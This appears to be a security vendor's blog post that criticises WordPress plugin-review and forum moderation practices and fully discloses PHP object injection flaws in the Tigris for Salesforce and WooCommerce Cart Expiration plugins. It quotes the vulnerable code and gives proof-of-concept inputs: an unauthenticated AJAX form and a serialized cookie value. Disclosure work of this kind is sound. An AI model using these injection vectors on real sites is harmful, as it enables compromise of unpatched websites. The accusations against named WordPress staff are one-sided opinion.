WordPress Lets Two More Plugins With Easy to Spot Exploitable Vulnerability in to the Plugin Directory
For the second day of our full disclosures of WordPress plugin vulnerabilities due to the continuing inappropriate handling of the moderation of the WordPress Support Forum we are focusing on something that relates to the larger problem when it comes to handling security by the WordPress team. Part of what makes the inappropriate moderation of the Support Forum so harmful, whether intended or not, is that it acts as an active cover up problems, which could be fixed quite easily if the people on the WordPress side of things were interested in fixing them. When they can largely cover up those problems, though, it allows those problems to instead fester since pressure doesn’t build for change since many in the WordPress community are not aware of them.
When a new plugin is submitted to the WordPress Plugin Directory a manual review of the plugin is supposed to be done:
After your plugin is manually reviewed, it will either be approved or you will be emailed and asked to provide more information and/or make corrections.
That is supposed to include checking it for security issues:
You will get an automated email telling you about the submission immediately. At that point, someone will manually download and review your code. If we find no issues with the security, documentation, or presentation, your plugin will be approved. If we determine there are issues, you will receive a second email with details explaining what needs to be fixed.
As of earlier this year it looked like the manual review might not be happening. That wouldn’t be all that uprising since there are only six members of the team handling everything with the Plugin Directory (one of them being a moderator of the Support Forum who is supposed to somehow be moderating the other moderators). For an unexplained technical reason they are not accepting more reviewers, even though it would seem very likely they need more (one explanation might be that bringing in others would involve bringing in people that don’t agree with some of their strange and counterproductive beliefs that they refuse to let go of).
Assuming they are actually doing the security reviews, they are failing badly, as we keep finding them missing easily spottable PHP object injection vulnerabilities, which is a type of vulnerability that is likely to be exploitable, during our proactive monitoring of changes made to WordPress plugins to catch serious vulnerabilities. If the reviews are happening that might be explained by them not looking for that type of issue. This isn’t a new issue, we have now been catching this type of vulnerability in brand new plugins since a year ago. In the past we have offered to provide the Plugin Directory team access to a tool that would make it is easy to spot this type of issue and we could provide them help to implement the same type of checking in some other form as well.
Two weeks ago we spotted two more of those, which are disclosed below.
If you tried to post on the Support Forum about what is going on with the reviews, based on past experience it would be deleted, since hiding security problems is unfortunately the way the people in charge of WordPress are doing things.
The problems with this start from the top, as you have WordPress founder Matt Mullenweg falsely claiming that security is looked at from every angle:
But I heard WordPress doesn’t care about security?!
Nothing could be further from the truth. Everyone involved takes their responsibility very seriously, and the growth of WordPress has meant many thoughtful, hard-working people have gotten involved and think of the security of WP sites holistically, from every angle.
The reality is that the people on the WordPress have truly bizarre notions and they have shown an inability to deal with those not being true, leading to security issues festering. Take the head of the Plugin Directory (and one of the moderators of the Support Forum) putting this claim forward as to why WordPress won’t warn if websites are using plugins with an unfixed vulnerability that is already being exploited:
We cannot provide this service at this time.
IF an exploit exists and we publicize that fact without a patch, we put you MORE at risk.
If an exploit exists, hackers will be targeting the vulnerability en-mass.
That’s exactly the issue. If we make it known there is an exploit, the hackers attack everyone :/
If we don’t tell anyone, then hackers who DO know will attack, but they would have anyway.
So their solution to people being hacked is too allow them to be hacked and not warn them, for the stated purpose of having less people hacking them (even though it only takes one hacker and it is usually easy for others to figure things out once a wide exploitation starts occurring), which makes no sense.
In a follow up to that, another one of the moderators put forward this strange notion for not warning people when they are using vulnerable plugins:
The goal of the plugin (and theme) update API is not to report exploits or scare users. It is to deliver updated code.
The problem with this whole idea is that users start thinking about security incorrectly and that causes more problems then it thinks.
It’s not clear how warning people they are using an insecure plugin causes them to think about security “incorrectly”, but that is the type of strange stuff that is far too often put forward by these moderators who then want enforce their beliefs on everyone else in the Support Forum. In this case this moderator (not for the first time) doesn’t even understand what they are talking about as there is in fact already an API that provides info on Plugins. The problem we have found with that person in particular is that they are unable to handle that others disagreeing with them, which is more of a problem when you are saying stuff that doesn’t make sense and you have the power that can be abused to avoid have deal with the disagreement in a professional adult manner.
Getting back to Matt Mullenweg he would want you to believe that the only security issue with WordPress plugins is not keeping the up to date:
What are the biggest issues to WordPress security?
A good order of priority based on impact would be:
- Sites not updating core.
- Sites not updating plugins.
- Sites not updating themes.
- Weak passwords, without brute-force protection or two-factor authentication.
- Hosts (professional or ad-hoc) not scanning and fixing sites.
- Hypothetical issues not seen in practice, which distract from the above existing priorities.
For people that actually know what is going on, it isn’t secret that there have been for many years and continue to be vulnerabilities in plugins that are being exploited (most vulnerabilities are unlikely to be exploited on the average website) that never get fixed. That brings us to example of the problem the Support Forum moderation because we actually tried to discuss that with a member of the Plugin Directory (who also works directly for Matt Mullenweg and is the moderator of the Support Forum moderators) about six months before Matt Mullenweg’s post but our message was deleted. When we say there is active cover up, it is unfortunately not an exaggeration. We have to wonder if Matt Mulleweg is being mislead by his employees or if his part of covering up problems.
Tigris for Salesforce
For the first vulnerable plugin, Tigris for Salesforce, not only is the possible PHP object injection issue easy to spot, but it easy to see how it would be accessible in an exploitable fashion.
This is the line we picked up on in our monitoring:
752 | $args = unserialize( stripslashes( $_POST['query'] ) ); |
That will take a POST input “query” and run in through the unserialize function, which is what permits PHP object injection to occur.
That code is located in the function acs_tfs_load_vacancy():
747 748 749 750 751 752 | function acs_tfs_load_vacancy() { if (!isset($_POST['action'])) return; if ( $_POST['action'] == 'loadvacancies' ) { $args = unserialize( stripslashes( $_POST['query'] ) ); |
The only thing that is needed to access the code in that function is that the POST input “action” equals “loadvacancie”.
That function is accessible through WordPress’ AJAX functionality whether someone is logged in to WordPress or not:
774 775 | add_action( 'wp_ajax_loadvacancies', 'acs_tfs_load_vacancy' ); add_action( 'wp_ajax_nopriv_loadvacancies', 'acs_tfs_load_vacancy' ); |
WooCommerce Cart Expiration
With WooCommerce Cart Expiration the line we picked up on is just as easy to spot, but finding the exploitation path takes a bit more work.
This is the line we picked up on:
108 | $cookie = maybe_unserialize( base64_decode( $_COOKIE[ Core\COOKIE_NAME ] ) ); |
That will take the COOKIE input “woo_cart_expiration” and run in through the unserialize function, which is what permits PHP object injection to occur.
That code is located in the function check_cookie():
100 101 102 103 104 105 106 107 108 | function check_cookie( $data = false ) { // If we don't have the cookie, then no one cares. if ( ! isset( $_COOKIE[ Core\COOKIE_NAME ] ) ) { return; } // Decode and unserialize the cookie. $cookie = maybe_unserialize( base64_decode( $_COOKIE[ Core\COOKIE_NAME ] ) ); |
So as long as the cookie exists then PHP objection can occur.
That function is called in two places, one is at the beginning of the function get_current_cookie_expiration():
81 82 83 84 | function get_current_cookie_expiration() { // First get the cookie data. $cookie = Cookies\check_cookie( true ); |
That function in turn is called in two places, one is at the beginning of the function load_expiration_metatag():
77 78 79 80 | function load_expiration_metatag() { // Run our inital check. $expire = Utilities\get_current_cookie_expiration(); |
That in turn runs when WordPress is loading on the frontend:
20 | add_action( 'wp_head', __NAMESPACE__ . '\load_expiration_metatag', 999 ); |
Proof of Concept for Tigris for Salesforce
With our plugin for testing for PHP object injection installed and activated, the following proof of concept will cause the message “PHP object injection has occurred.” be shown
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=loadvacancies" method="POST"> <input type="hidden" name="action" value="loadvacancies" /> <input type="hidden" name="query" value='O:20:"php_object_injection":0:{}' /> <input type="submit" value="Submit" /> </form> </body>
Proof of Concept for WooCommerce Cart Expiration
With our plugin for testing for PHP object injection installed and activated, set the value of the cookie “woo_cart_expiration” to “TzoyMDoicGhwX29iamVjdF9pbmplY3Rpb24iOjA6e30=” and then when vising a frontend page the message “PHP object injection has occurred.” will be shown.